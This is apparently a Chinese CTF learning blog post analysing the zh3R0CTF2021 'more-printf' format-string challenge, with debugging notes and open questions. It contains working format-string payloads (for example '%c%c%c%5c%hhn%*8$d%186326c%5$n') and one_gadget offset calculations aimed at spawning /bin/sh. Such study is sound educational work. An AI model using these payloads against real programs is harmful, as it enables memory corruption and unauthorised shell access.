pwn入门-47-zh3R0CTF2021-moreprintf
这个题还有一些奇奇怪怪的问题, 但是怕自己跑偏了,就暂时先放下了,后面有空再研究.(或许和fprintf的机制有关?
先复习一下格式化字符串,本来想看看之前自己写的笔记…看了一下后想起来了一句名言,大意就是你去修改一个很烂的项目不如重构….恩….写的太烂了…不如重写一篇…
格式化字符串漏洞基础
%n
为什么能写入值呢,就是这个%n,它是将之前已经打印的字符个数赋值给当前偏移处的指针指向的地址
例如%100×10$n: 将100写入第十个位置所保存的指针指向的地址(4字节), %$hn是2字节,%$hhn是1字节,%$lln是8字节
%p
%p %p %p %p %p %p %p %p %p %p
在b *fprintf+143也就是vprintf下断点,然后set $rdi=_IO_stdout, 单步,就可以打印地址了
1 | *RSI 0x55555555b4c0 ◂— '0x55555555b260 0x7ffff7af2151 0x7ffff7dcf8c0 0x7ffff7ff5540 0x7fffffffe470 0xb1dad8e32f5ad200 0x5555555552c0 0x7ffff7a03bf7 0x1 0x7fffffffe568\n' |
前四个值和后四个值
%c
c是一个字符的意思, 在后面的exp中,%c%c%c%5c%hhn表示,前三次输出,都是输出一个字符,第四次是5个字符,然后一共是8个字节了,把8写入第5个位置的指针指向的地址.
set $rdi=_IO_stdout ( 其他版本呢?)
%caaa%cbbb%cccc%5cddd%hhn,
可以看到确实只打印了第一个字符,然后%5c是把不足的用空格补齐
1 | `aaaQbbb�ccc @ddd |
然后把值写到了第5个位置的指针指向的地址
用%c%c%c%5c%hhn试一下, 可以看到确实是改成了0x08
但在我这里应该是要改成0xc8 不过其实应该没影响,都是把read地方的值改成onegadget
任意地址写修改值
1 | %c%c%c%5c%hhn%*8$d%186326c%5$n |
除了wp给的payload,换其他的很多都不行…为什么呢?? 仔细观察源码, 有输入长度的限制的, fgets(buffer, 31, stdin);
如果不是单纯做题而是研究一下打法的话,可以拓展一下长度试试,这样的话应该就好很多,(可以加系统调用限制,然后又是orw的一道题(x)) (或者直接在运行的时候改寄存器,修改读入长度)
修改ret返回值(x)
1 | 1a:00d0│ 0x7fffffffe4a0 —▸ 0x555555555100 (_start) ◂— endbr64 |
onegadget - (200 + 0x21c87 )就是要改的值了
1 | 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) |
0x4f2a5- (200 + 0x21c87 ) = 185686
%c%c%c%197c%hhn%*8$d%185686c%5$n
邪门,就是不出c8,概率比较小,可能和系统有关?
改成0x18吧…
%c%c%c%21c%hhn%*8$d%185862c%5$n
但还是不行..
问题出在这个函数没有ret的….那….. 所以覆盖了也没用…
fprintf之后有ret 回main函数的exit, 是不是可以修改这里呢? 这里就是下面的main+198
改其他的函数指针,比如改main+198
0x556fe88e42af这里会执行到的,但是是把这里的值改了(用watch下断点查看)
1 | 1a:00d0│ 0x7ffca5108380 —▸ 0x556fe88e4100 (_start) ◂— endbr64 |
修改下内存测试下
0x7f8d3724c000+0x4f2a5 = 0x7f8d3729b2a5
set *0x7ffc28b196d8= 0x7f8d3729b2a5 (为啥一次设置不全呢?)
set *0x7ffc28b196dc= 0x7f8d
这里会把这个值修改一下,但不知道后面会不会执行, 会执行!!!
0x18: %c%c%c%21c%hhn%*8$d%185862c%5$n
0x28: %c%c%c%37c%hhn%*8$d%185846c%5$n
但是没办法一次改完….得两次啊,不对,应该用%lln
0x18: %c%c%c%21c%hhn%*8$d%185862c%5$lln
0x28: %c%c%c%37c%hhn%*8$d%185846c%5$lln
不过为什么好像没有改成8字节,还是4字节呢?
以及,是否可以修改两次4字节呢… 方法有点多,但会越来越复杂…先暂时放一下
如何确定能到read
那就算修改了read, 怎么确定一定会执行到read呢, 不是执行到read,而是执行到栈里的这个地方,把那里的值改了,看wp一头雾水,wp中的调用链在本地测试不是这样
所以我感觉有几份就是瞎扯淡,瞎蒙的(不过也可能是自己认识不足
是在vprift里面触发的
哦卧槽,这和栈的结构有关….?? 为什么返回地址会到这呢??
改rsp上面那个值才行
1 | 1c:00e0│ 0x7ffd959070f0 —▸ 0x7ffd95907008 ◂— 0x7f2523745be7 |
1 | pwndbg> tele $rsp-0x8 |
题目分析
源代码
1 | /* gcc -o more-printf -fstack-protector-all more-printf.c */ |
逻辑分析
1 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
能够看到没有溢出,有一次格式化字符串利用的机会, 我在想是不是可以直接把返回地址修改成onegadget呢? 答案没采用这种方法,后面证实确实不行,一个是没有ret, 换别的函数的ret没有合适的指针(存疑)
先用%p泄露地址,能够看到第二个地址是比较特殊的, read函数,如果可以修改后面几个字节, 改为和onegadget一样,通过枚举,alsr偏移也一样的话,就可以getshell了,onegadget的话 0x4f3d5, 有五位不同, 枚举的话还是需要挺长时间的.. (不需要通过枚举,完全可以利用现有的指针),也就是第8个参数
__libc_start_main+231知道这里的值,加上偏移就是onegadget的值了!
1 | __libc_start_main+231: 0x7ffff7a03bf7 |
作者认为修改的read+17这个值是修改完后才会执行到的…依据是什么呢,如果不是这样的呢?
下断点: b *read 下不了…q
要输入payload: %c%c%c%5c%hhn%*8$d%186326c%5$n 也不行
可以下watch断点的, watch一下要修改的地方的地址
1 | pwndbg> info b |
下的断点没用呢… 换个patchelf试试,
2.27-3ubuntu1.4
https://surager.pub/_posts/2021-05-11-x86架构下pwn题目libc概述/
先用这个吧 2.27-3ubuntu1.5_amd64
进去一会后按c, 就能够进入最后的调试了,不行就下一个,继续c
关键再c就退出去了..
注意下断点的地址, exit可以 那是不是可以下system\execve
直接q然后继续就好了
gdb –pid 进去
为什么这里就可以只枚举32呢?
所以对抗alsr的点不是在onegadget这个地址上,这里是确定的, 那什么是不确定的呢?
就是要修改的地址的地址, 它不一定是0x08,可能是0x18 28 也可能是0x00 0x20, 所以才会有32种可能
不过在我的电脑上, 第2的字节的一半也变了…那随机化的范围又大了(关闭随机化的情况下,开启了好像又一样了)
实际修改的指针
改的其实是上面的函数的地址(实测) 作者提出的修改read+17行不通
调试下断点和bt回溯遇到了问题
首先,bt回溯时候的各种问题,我认为是因为劫持控制流破坏了识别算法, 识别不出来,
syscall能下断点吗
do_system
gdb 执行了新的sh,怎么跟踪呢? 如何看上一个进程的bt
为什么会执行到上面那里呢?
为什么会从那里取值rip呢?
这里貌似是比较重要的函数
这里面进行解析的吧, 是的,所以重点应该在这里
printf_positional
怎么样才能跟踪执行流呢
故意输错 让他卡在那是不是就可以了
注意看这里, 返回了最开始的栈帧,
为什么只链接了那两个就可以了??????
问题
buffer = (char *)malloc(0x20 + 1); //为啥要+1? 感觉好像不加也一样
set $rdi=_IO_stdout ( 其他版本呢?)
set *0x7ffc28b196d8= 0x7f8d3729b2a5 (为啥一次设置不全呢?)
以及,是否可以修改两次4字节呢… 方法有点多,但会越来越复杂…先暂时放一下
如何下断点来到这里呢? 最后返回onegadget的时候下不了断点
gdb启动的时候如何多下几个断点
为什么会从从rsp上面取值?
tips
gdb中如何关了alsr调试呢
1 | set disable-randomization on 关闭 |
参考
https://www.anquanke.com/post/id/85785
https://www.hakuya.work/post/2
https://violenttestpen.github.io/ctf/pwn/2021/06/06/zh3r0-ctf-2021/
https://github.com/zh3r0/zh3r0-ctf/tree/main/V2/pwn/more-printf/public/vuln
https://blog.caprinux.com/2021/06/07/zh3ro-ctf-more-printf/
感觉前面几个讲的方法最后一步都有问题
https://cor.team/posts/zh3r0-ctf-v2-complete-pwn-writeups/
这一篇或许是对的